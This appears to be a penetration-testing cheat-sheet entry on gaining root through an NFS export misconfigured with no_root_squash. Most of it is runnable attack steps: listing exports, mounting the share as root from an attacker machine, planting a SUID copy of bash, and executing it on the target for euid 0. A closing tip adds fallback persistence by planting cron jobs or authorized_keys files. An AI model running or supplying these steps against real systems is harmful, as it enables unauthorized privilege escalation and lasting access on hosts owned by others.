Plant a root SUID over an NFS no_root_squash export

The no_root_squash option tells the NFS server to trust the client’s root UID instead of mapping it to nobody. Mount the export as root on a machine you control, drop a root-owned SUID shell, and execute it back on the target.

# discover writable exports offering the misconfiguration
showmount -e target
grep no_root_squash /etc/exports 2>/dev/null

Create the SUID payload on the export, then run it from a shell on the target host.

# on attacker box (as root):
mount -t nfs target:/share /mnt && cp /bin/bash /mnt/rootbash && chmod 4755 /mnt/rootbash
# on target (as low-priv user):
/share/rootbash -p   # euid 0

Pro note: if you lack root on any client, a user-namespace sandbox can still forge the UID mapping on modern kernels. Confirm the export is writable and that rootbash -p keeps euid 0; some mounts add nosuid, which defeats the technique and pushes you to plant a cron or authorized_keys file instead.